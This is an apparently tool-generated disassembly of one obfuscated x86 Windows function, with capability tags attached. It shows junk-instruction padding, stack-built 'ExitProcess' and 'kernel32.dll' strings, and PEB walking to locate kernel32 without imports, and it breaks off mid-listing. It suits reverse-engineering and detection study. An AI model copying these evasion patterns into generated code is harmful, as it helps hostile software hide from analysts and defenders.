Function at 0x4d1eb3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
inc esp
add al, 1
add byte [eax + 0x56], bl
push eax
add esp, 4
add esi, 0xe14f
jmp 0x4d18a8
xor esi, 0x14523
pop esi
jmp 0x4d1ae2
push esi
sub esi, 0x132c
pop esi
push esi
push ebx
add esp, 4
call 0x4d1afc
add byte [ebx], bh
cmp cl, byte ds:[ebx + 0x46]
cmp al, byte [esi - 0x7d]
les eax, [esi + ebx*2]
push eax
add eax, 0x7c4
and eax, 0x12fbc
xor eax, 0x165be
pop eax
mov dword [ebp - 0x3cc], 0
push eax
xor eax, 0x16321
xor eax, 0xe2c3
and eax, 0x50b4
and eax, 0x11cb0
pop eax
push eax
push edx
add esp, 4
call 0x4d1b4c
add byte [eax + 0x3e], al
inc esi
inc edi
inc eax
xor bh, byte [edx]
cmp al, byte [eax - 0x7d]
les eax, [eax + ebx*2]
push edx
call 0x4d1b60
add byte [ebx + 0x4b], al
dec esp
dec ebx
inc esi
cmp eax, 0xc483383d
add al, 0x81
push esp
rol dword [eax], 1
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [0x46404436], bh
dec eax
inc ebp
push eax
aas
add esp, 4
xor edx, 0x665a
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
push edi
add esp, 4
add eax, 0xea4a
jmp 0x4d1ba7
jmp 0x4d1bae
pop eax
push edi
sub edi, 0xb7b6
and edi, 0x1a00
jmp 0x4d1bc2
xor edi, 0xc570
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
push ecx
push edi
add esp, 4
call 0x4d1be8
add byte [edi + edi + 0x3b], cl
cmp dword [ebx + 0x33], ecx
cmp byte [0xc4834637], dh
add al, 0xeb
add eax, 0x4d37444e
dec ebp
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x12db9
sub ecx, 0xd1e9
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x4d1c22
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
or edx, 0xb28e
call 0x4d1c38
add byte [edi + 0x50], cl
aaa
cmp ecx, dword [ecx + 0x3c]
inc esp
dec ebp
inc esp
add esp, 4
xor edx, 0x13a78
add edx, 0x11537
pop edx
push eax
push ebx
add esp, 4
or eax, 0x7b7b
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4d1c9c
push edi
push ebx
add esp, 4
xor edi, 0x16ffc
or edi, 0x10e2f
pop edi
push eax
xor eax, 0x3536
pop eax
push esi
push edx
add esp, 4
xor esi, 0xa35a
sub esi, 0x1cff
or esi, 0xa2ad
pop esi
jmp 0x4d1eca
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edi
add edi, 0x2feb
pop edi
push edi
push esi
add esp, 4
xor edi, 0x17081
pop edi
push edx
push ebx
add esp, 4
xor edx, 0xb71d
pop edx
push edx
push ecx
add esp, 4
xor edx, 0xbfbf
sub edx, 0x22bc
pop edx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x4d1d4b
push ecx
call 0x4d1d16
add byte [esi], bh
inc ebx
inc esp
cmp byte [esp + eax*2], dh
dec esp
add esp, 4
or ecx, 0x974c
and ecx, 0x67f3
and ecx, 0xc941
pop ecx
push eax
or eax, 0xe125
or eax, 0x9150
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4d1e7c
cmp dword [ebp - 0xc10], 0
jle 0x4d1e70
push ecx
push esi
add esp, 4
add ecx, 0x155c7
call 0x4d1d6f
add byte [esi], dh
cmp edi, dword [eax]
inc edi
cmp eax, 0x5904c483
push edx
call 0x4d1d80
add byte [edi], bh
dec ebp
inc esp
inc ebx
dec edx
dec ebx
add esp, 4
add edx, 0x1316e
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4d1e0c
push ecx
push ebx
add esp, 4
xor ecx, 0x238f
call 0x4d1dba
add byte [ebx], bh
inc esi
dec edx
dec eax
inc edx
inc ecx
aaa
dec edi
dec ecx
add esp, 4
add ecx, 0x16d38
pop ecx
push esi
xor esi, 0x12b5c
sub esi, 0x7d49
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4d1df4
mov dword [ebp - 0x14cc], 1
jmp 0x4d1dfe
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x4d1e70
push esi
xor esi, 0xf656
or esi, 0x17afe
sub esi, 0xa0f8
pop esi
push edi
push eax
add esp, 4
add edi, 0x9ea9
or edi, 0x157c
add edi, 0xb12f
sub edi, 0x4ce5
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x4d1d4b
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4d1ec5
push esi
push ecx
add esp, 4
add esi, 0x20c3
call 0x4d1ea0
add byte [ebx], dh
inc esi
cmp edi, dword [edi]
xor eax, 0x46383835
add esp, 4
call 0x4d1eb3
add byte [ecx + 0x49], cl
inc ebx
dec edx
inc esi
push eax
xor edi, dword [ebx]
dec edi
aaa
add esp, 4
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x4d1f06
jmp 0x4d1c13
push edx
push eax
add esp, 4
or edx, 0x4d76
xor edx, 0x15aca
xor edx, 0x7ac9
jmp 0x4d1ee7
pop edx
push esi
or esi, 0xbdf8
or esi, 0x11871
sub esi, 0x17395
pop esi
mov dword [ebp - 0xa5c], 0
push ebx
jmp 0x4d1f0d
and ebx, 0x4e46
and ebx, 0x83c0
pop ebx
push ebx
push esi
add esp, 4
add ebx, 0x5079
and ebx, 0x18c4
sub ebx, 0x5d6a
xor ebx, 0x15307
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
push esi
add esp, 4
and eax, 0x12e82
add eax, 0x185eb
or eax, 0x5571
sub eax, 0x993f
pop eax
push edi
call 0x4d1fba
add byte [0x393e504e], bh
inc esi
cmp edi, dword [edi]
add esp, 4
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
call 0x4d2066
add byte [eax + 0x35], cl
aaa
inc esp
dec esi
cmp byte [esi + ecx*2], dh
add esp, 4
add ebx, 0x13f0f
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0x1813e
jmp 0x4d2082
xor esi, 0x16258
pop esi
push ecx
jmp 0x4d2093
pop ecx
push ecx
or ecx, 0x2cd6
or ecx, 0x10b01
pop ecx
push esi
call 0x4d20b1
add byte [ebx + 0x3c], cl
xor al, 0x43
inc ebp
inc ebx
xor eax, 0x4c48348
sub esi, 0x9160
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push eax
add esp, 4
call 0x4d20f7
add byte [eax + 0x49], al
push eax
xor eax, 0x4f4f464e
aas
add esp, 4
pop edx
push edx
or edx, 0x6849
xor edx, 0xf07d
or edx, 0x14778
add edx, 0x13e1e
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x4d212d
mov dword [ebp - 0x2e0], 0
jmp 0x4d23e9
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
jmp 0x4d2146
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x2f50
sub edi, 0xa7ae
add edi, 0x73ee
pop edi
push eax
push ebx
add esp, 4
or eax, 0x7f0c
add eax, 0xd35
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x4d2189
mov dword [ebp - 0x2e0], 0
jmp 0x4d23e9
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push eax
add esp, 4
sub eax, 0x13a5e
pop eax
push edx
call 0x4d21af
add byte [esi + esi], dh
dec edi
aas
inc ecx
inc edi
inc ecx
add esp, 4
xor edx, 0xebaf
jmp 0x4d21be
pop edx
push edi
sub edi, 0x14d56
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
push edx
add esp, 4
xor eax, 0x17b3c
sub eax, 0x82ca
add eax, 0x8c4e
pop eax
push esi
and esi, 0x1394e
pop esi
push edx
push ecx
add esp, 4
xor edx, 0x1023e
sub edx, 0x17ae2
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
push ebx
add esp, 4
or ebx, 0x17c08
pop ebx
push edx
xor edx, 0x13b6
pop edx
push ecx
push edi
add esp, 4
add ecx, 0xbb4a
and ecx, 0xddbc
and ecx, 0xc1
sub ecx, 0x603b
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4d22d5
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x4d2338
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4d21f4
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4d21f4
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x4d2322
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x4d232c
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4d2381
push ecx
and ecx, 0x3cd1
and ecx, 0x16569
or ecx, 0x16738
xor ecx, 0x95a5
pop ecx
push eax
push eax
add esp, 4
add eax, 0x13b95
sub eax, 0x8c3c
xor eax, 0x105a4
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4d23e9
push ecx
push eax
add esp, 4
or ecx, 0x12d43
sub ecx, 0x849e
or ecx, 0xdfc9
pop ecx
push edx
xor edx, 0x12d86
add edx, 0xf6e3
and edx, 0x1289b
add edx, 0x6038
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4d23df
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4d2195
mov dword [ebp - 0x2e0], 0
push ecx
or ecx, 0x80cf
or ecx, 0x12a02
and ecx, 0x5444
pop ecx
push edi
jmp 0x4d2407
and edi, 0x16bfd
and edi, 0x172a7
jmp 0x4d241a
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x4d2d34
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx